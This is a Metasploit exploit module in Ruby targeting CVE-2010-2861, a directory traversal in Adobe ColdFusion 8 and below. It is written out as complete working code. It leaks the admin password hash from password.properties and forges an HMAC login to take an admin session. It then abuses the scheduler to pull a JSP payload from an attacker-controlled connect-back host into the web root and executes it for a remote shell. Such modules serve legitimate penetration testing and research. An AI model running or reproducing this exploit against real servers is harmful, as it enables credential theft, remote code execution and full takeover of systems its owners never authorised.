##
# $Id: coldfusion_traversal.rb 11974 2011-03-16 01:38:16Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion - Directory Traversal',
'Description' => %q{
This module exploits a directory traversal bug in Adobe ColdFusion.
By reading the password.properties a user can login using the encrypted
password itself. This should work on version 8 and below.
},
'License' => MSF_LICENSE,
'Author' => [ 'webDEViL' ],
'Version' => '$Revision: 11974 $',
'References' =>
[
[ 'CVE', '2010-2861' ],
[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
],
'Privileged' => true,
'Platform' => ['linux','windows'],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Universal',
{
'Arch' => ARCH_JAVA,
'Payload' => 'java'
}
],
],
'DisclosureDate' => 'Aug 25 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]),
], self.class)
end
def exploit
ip = datastore['RHOST']
url = datastore['URL']+"enter.cfm"
locale = "?locale="
trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
datastore['URIPATH'] = rand_text_alphanumeric(6)
print_status("Trying to acheive Directory Traversal...")
while trav.match(/..\//im)
res = send_request_raw({
'uri' => url+locale+trav,
'method' => 'GET',
'headers' =>
{
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
},
}, -1)
if (res.nil?)
print_error("no response for #{ip}:#{rport} #{url}")
elsif (res.code == 200)
#print_error("#{res.body}")#debug
if match = res.body.match(/([0-9A-F]{40})/im);
caphash = $1
print_status("URL: #{ip}#{url}?locale=#{trav}")
print_status("Admin Hash: " + caphash)
break
else
#select(nil, nil, nil, 3)
trav=trav[3..-1]
print_status("Trav:"+trav)
end
else
''
end
end
if caphash.nil?
print_error("Could not determine location of password.properties file, Set TRAV option manually")
print_error("OR ColdFusion is not vulnerable")
return
end
keyz = Time.now.to_i.to_s+"123"
print_status("Time: "+ keyz)
loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
print_status("Login Hash: "+loghash)
params = 'cfadminPassword='+loghash
params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
params << 'salt='+keyz
params << '&submit=Login'
res = send_request_cgi({
'method' => 'POST',
'uri' => url,
'data' => params
})
if (res)
#print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
session = $1
print_status("Cookie: #{session}")
else
print_error("Error retrieving cookie!")
end
else
print_error("No response received while logging in.")
end
print_status("Attempting to automatically detect the platform...")
##AUTO_DETECT START
path = datastore['URL'] + 'settings/mappings.cfm'
res = send_request_raw(
{
'uri' => path,
'headers' =>
{
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}"
}
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
if (res.body.match(/.*td *>(.*CFIDE )/im);)
os = $1
os.match(/<td [^>]*?>(.*) /im);
os1 =$1
os1 = os1.gsub("\t", '')
os1 = os1.gsub("\r\n", '')
if (os1 =~ /:/i) #haha ;)
print_status('OS: Windows')
datastore['SHELL'] = 'cmd.exe'
os1=os1+"\\"
else #(os1 =~ /\//i)
print_status('OS: Linux')
datastore['SHELL'] = '/bin/sh'
os1=os1+"/"
end
print_status("Web Directory:"+os1)
end
##AUTO_DETECT END
res = send_request_raw(
{
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
'method' => 'GET',
'headers' =>
{
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
}
}, 25)
if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
start_time = $1
end
if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)
start_date = $1
end
#else FAIL!
comb = start_date + start_time
fmt = "%b %d, %Y%I:%M %p"
comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
t = comb.strftime("%b %d, %Y")
t1 = comb.strftime("%I:%M %p")
#t=(Time.now).strftime("%b %d, %Y") #can't use local time
#t1=(Time.now + 5).strftime("%I:%M:%S %p")
params = 'TaskName=wD-'+rand_text_alphanumeric(6)
params << "&Start_Date=#{t}" #Mar+12%2C+2011
params << '&End_Date=&ScheduleType=Once'
params << "&StartTimeOnce=#{t1}" #6%3A40+PM
params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
params << '&publish_file='+os1+datastore['JSP']
params << '&adminsubmit=Submit&taskNameOrig='
res = send_request_raw(
{
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
'method' => 'POST',
'data' => params,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => params.length,
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
}
}, 25)
#print_error("#{res.body}")
super
end
def on_request_uri(cli, request)
p = regenerate_payload(cli)
#print_status("SHELL set to #{datastore['SHELL']}")
#print_status((p.encoded).to_s)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })
res = send_request_raw(
{
'uri' => "/CFIDE/"+datastore['JSP'],
'method' => 'GET',
}, 25)
# Handle the payload
handler(cli)
end
end